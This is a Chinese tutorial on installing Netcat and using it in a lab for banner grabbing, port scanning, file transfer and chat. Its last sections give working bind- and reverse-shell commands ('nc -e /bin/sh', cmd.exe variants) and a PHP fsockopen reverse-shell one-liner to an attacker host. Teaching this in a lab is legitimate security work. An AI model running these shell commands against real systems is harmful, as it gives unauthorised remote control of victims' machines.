Netcat安装与使用(nc)
Netcat安装与使用
- 1.Netcat简介
- 1.1.Netcat安装
- 1.1.1.安装整体流程
- 1.1.1.1.安装依赖
- 1.1.1.2.安装Netcat
- 1.1.1.3.配置环境变量
- 1.1.1.4.测试
- 1.2.Netcat基本功能
- 1.3.Netcat常用参数
- 2.Netcat用法
- 2.1.前期准备
- 2.2.banner相关信息抓取
- 2.3.端口扫描
- 2.3.1.扫描指定端口
- 2.3.2.扫描指定端口段
- 2.4.监听端口
- 2.5.文件传输
- 2.5.1.监听
- 2.5.2.发送
- 2.6.简易聊天
- 2.7.获取shell
- 2.7.1.正向获取shell
- 2.7.1.1.攻击者
- 2.7.1.2.攻击者
- 2.7.2.反向获取shell
- 2.7.2.1.攻击者
- 2.7.2.2.受害者
- 2.8.其它获取shell
- 2.8.1.PHP反弹shell
- 2.8.1.1.生成反弹命令
- 2.8.1.2.攻击者
- 2.8.1.3.受害者
1.Netcat简介
Netcat 是一款简单的Unix工具,使用UDP和TCP协议,被称为网络工具中的"瑞士军*刀"。它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。
1.1.Netcat安装
在Linux中都是自带Netcat的,如果没有,可以使用命令进行安装,安装完可以查看一下版本。
在centos7.X中使用yum install nc按照的不是Netcat,需要注意。
Windows中可以自行搜索安装,官网链接:官网
1.1.1.安装整体流程
1.1.1.1.安装依赖
命令:sudo yum install glibc*
1.1.1.2.安装Netcat
命令:
wget https://sourceforge.NET/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
cd /usr/local/netcat-0.7.1
./configure
make && make install
1.1.1.3.配置环境变量
命令:vi /etc/profile
export NETCAT_HOME=/usr/local/netcat-0.7.1
export PATH=$PATH:$NETCAT_HOME/bin
1.1.1.4.测试
这里可以使用nc -v,当然也可以使用netcat,其实是因为我懒,懒得卸载重新配置。
1.2.Netcat基本功能
telnet/获取系统bannet信息、传输文本信息、传输文件和目录、加密传输文件、端口扫描、远程控制、正方向shell等。
1.3.Netcat常用参数
Netcat它有许多参数可供使用,以下是一些常用的Netcat参数,可以根据自己的需要选择使用,同时,Netcat还有其他更多的参数,你可以通过查看其官方文档来了解。
参数 | 介绍 |
---|---|
-h | 查看帮助信息。 |
-l | 监听模式,等待其他计算机连接。 |
-p | 指定监听的端口号。 |
-u | 使用UDP协议。 |
-v | 输出详细信息,如建立连接时显示IP地址和端口号。 |
-n | 不使用DNS查找,使用IP地址进行连接。 |
-z | 将输入/输出功能关闭,进行端口扫描。 |
-s | 指定本地的IP地址。 |
-e | 在连接建立后,将标准输入和输出重定向到一个指定的程序或脚本中。 |
-w | 设置超时时间,等待连接或数据的时间。 |
-c | 发送指定字节数的数据后关闭连接。 |
-i | 设置发送数据的时间间隔。 |
-q | 设置程序退出前的最大延迟时间。 |
-k | 启用TCP保持活动状态。 |
-r | 设置随机本地端口号。 |
-t | 以telnet形式应答。 |
2.Netcat用法
nc常常跟着的参数有两个,一个是n、一个是v。
v参数就是列出执行过程的详细信息,n参数就只接收IP地址,没有dns,之所以使用n参数,是因为使用命令的过程中只去传入IP,减少了nc把域名解析为IP的过程,这样可以节省时间提高效率。
2.1.前期准备
两台主机都需要安装nc,以便后面的操作,nc很小,安装很快。
kali主机:192.168.10.20
centos7主机:192.168.10.30
2.2.banner相关信息抓取
kali命令:nc -nv 192.168.10.30 22
2.3.端口扫描
如果想要单纯的端口扫描的话,使用其它工具比如nmap会更好,而使用nc的主要用途就是在内网获取到权限后,再使用nc对内网进行扫描。nmap无法扫描内网。使用nc更多的是对内网扫描,若初期就需要端口扫描的话,不建议使用nc。
2.3.1.扫描指定端口
kali命令:nc -v 192.168.10.30
2.3.2.扫描指定端口段
kali命令:nc -vz 192.168.10.30 20-100
2.4.监听端口
监听本地端口,当访问该端口时会输出该信息到命令行,这里我使用一个云服务器来监听。
云服务器命令:nc -lp 8080
2.5.文件传输
首先在kali上开启监听,然后在centos7中发送文件,当发送文件后,kali上监听到后,就可以将文件保存下来。
这里不单单可以发送文件,像压缩包、目录等均可以传输,不过这里需要理解两个重定向符号 <和>,>是将文件进行输出,<是将文件进行输入。
2.5.1.监听
这里设置kali监听,简单来说就是接收文件,并将文件保存到1.txt中。
kali命令:nc -lp 333 > 1.txt
2.5.2.发送
这里设置centos7为发送,将当前目录下的2.txt发送至kail。
centos7命令:nc -vn 192.168.10.20 333 < 2.txt
2.6.简易聊天
nc 可以在两台机器之间相互传递信息,首先需要有一台机器进行监听一个端口,另一台以连接的方式去连接其指定的端口,这样两台机器之间建立了通信后,相互之间可以传输信息。
为了区分,kali上输入的是数字,而centos7上输入的字母。
kali命令:nc -lp 333
centos命令:nc -vn 192.168.10.20 333
2.7.获取shell
这里默认kail系统为攻击者、centos7系统为受害者。
2.7.1.正向获取shell
正向获取shell就是将centos7连接kali,centos7获取kali的shell权限。简单来说就是受害者获取攻击者的shell。
这里不使用Windows测试,只是将Windows系统的命令使用介绍一下。
2.7.1.1.攻击者
kali命令:nc -lvp 4444 -e /bin/sh
Windows命令:nc -lvp 4444 -e c:\windows\system32\cmd.exe
2.7.1.2.攻击者
centos7命令:netcat 192.168.10.20 4444
2.7.2.反向获取shell
客户端连接服务器,服务器获取客户端的shell。通常用在开启防护措施的目标机,如防火墙过滤、端口转发的等。通常反向shell是最常用的。
2.7.2.1.攻击者
kali命令:nc -lvp 4444
2.7.2.2.受害者
centos7命令:netcat 192.168.10.20 4444 -e /bin/sh
Windows命令:nc 192.168.1.1 999 -e c:\windows\system32\cmd.exe
2.8.其它获取shell
这里其它获取shell,就是通过不同的方式进行shell的反弹。这里可以使用反弹shell命令一键生成官网进行测试。
官网:反弹shell命令一键生成
2.8.1.PHP反弹shell
2.8.1.1.生成反弹命令
这里使用官网中配置,选择php即可生成反弹shell。
命令:php -r '$sock=fsockopen("192.168.10.20",7777);`sh -i <&3 >&3 2>&3`;'
2.8.1.2.攻击者
这里的攻击者就是kali,按照官网上开启监听。
kali命令:nc -lvnp 7777
2.8.1.3.受害者
这里的受害者就是centos7,按照官网上的生成的命令进行配置,我这里centos7上没有php,所以没成功正常情况下是能够成功的,这里我主要就是演示一下。
centos7命令:php -r '$sock=fsockopen("192.168.10.20",7777);`sh -i <&3 >&3 2>&3`;'
Netcat安装与使用(nc)相关推荐
- 安装与配置NC产品(NC65)
安装与配置NC产品(NC65) 准备开发工具 安装与配置 运行NC6.5 yonyou_nc文件夹下的setup.bat 选择安装的产品 根据开发需求进行选择(必须安装的基本领域/模块:UAP Ser ...
- linux 命令:nc、netcat、ncat、socat
参考 :http://www.linuxso.com/command/nc.html NC工具的使用说明教程:https://blog.csdn.net/xysoul/article/details/ ...
- Linux netcat/nc 网络利器!
netcat是网络工具中的瑞士×××,它能通过TCP和UDP在网络中读写数据.通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它.使用netcat命令所能完成的事情令人惊讶. netcat所做 ...
- linux nc命令安装眷顾,linux系统nc命令的使用
1.安装该命令(nc是netcat的简写) 用yum进行安装,若安装旧版本的可能会有些命令参数无法正常使用 2.一些基本用法 nc -z -v -n 192.168.137.2 1-100扫描192. ...
- Netcat介绍及安装使用
目录 介绍 Linux 安装 Windows安装 1.下载安装包 2.解压安装包 3.安装路径加入系统变量 Netcat命令参数 使用Netcat互相通信 1.创建一个服务端 2.创建一个客户端(连接 ...
- Mac安装Netcat教程
Netcat可以用于测试通信连接 Mac安装Netcat方式: 打开终端输入: brew install netcat 安装好以后测试,输入: nc 可以看到是这样的: itzhuzhu@itzhuz ...
- Linux系统中nc工具那些不为人知的用法
Linux nc命令用法 参考地址:https://www.cnblogs.com/jjzd/p/6306273.html -g<网关>:设置路由器跃程通信网关,最多设置8个; -G< ...
- Netcat的使用教程
Netcat是一款功能强大的网络工具,可以用于 TCP/IP 连接.端口扫描.文件传输等多种网络操作.本文将介绍Netcat的详细使用教程和常用命令. 安装和配置 在Linux系统中,可以使用以下命令 ...
- CentOS Netcat 用法
NetCat,简称Nc,是一款非常实用的网络工具,他它能够建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,小巧而功能强大,被誉为网络安全界的"瑞士军刀".NetC ...
最新文章
- glib 2.0 arm linux,glib源码安装使用方法
- 当表格列数太多时,怎么实现表格的横向滚动
- patch是什么意思啊_学 Vue 看这个就够了 - 什么是 Vue.js
- async框架源码研究
- k8s pod里访问不到外部ip_K8S容器网络如何实现通信?
- 暴露的全局方法_面试刷题36:线程池的原理和使用方法?
- 实用分享-Visual Studio图像查看插件(Image Watch)
- 文本文件编码探测几个链接
- 大学计算机应用与基础第二版答案,大学计算机应用基础(第2版)上机指导与习题集...
- 中国工业企业数据库stata处理
- 关于IMX6Dl 芯片使用硬编解码的问题记录
- php++仿网页版微信,【原创】html5高仿微信网页版|h5仿微信聊天实战
- 一元函数积分学的概念与性质
- HTML <abbr> 标签
- oracle增加分区时报ora14036,增加分区表2009年的分区报ORA-14074错误
- 计算机存储容量单位的倍数关系,存储器容量单位有哪些,它们之间的关系是什么...
- 网络互联复习(二) 精简版
- 敏捷开发之道 总结小记
- 指定位置签到-百度地图
- 第11回	我猜小曹不会用Broadcast
热门文章
- Java啤酒生产系统描述_Java描述设计模式(02):简单工厂模式
- 纪念入手第一个机械键盘
- 【iOS高级资深工程师面试篇】⑫、2022年,金九银十我为你准备了《iOS高级资深工程师面试知识总结》 第三方库部分 AFNetworking-SDWebImageView-ReactiveCocoa
- Socket与IO复习
- 记录下人生第一次面试
- kali + 无线网卡 轻松破解Wifi
- Android期末项目:美食点餐APP的设计与实现
- 苹果安装文件无法连接服务器,Mac安装PR时显示无法访问关键目录
- χ²分布在线计算器链接
- 5.2、Jmeter使用内置函数__base64Encode()以及__base64Decode()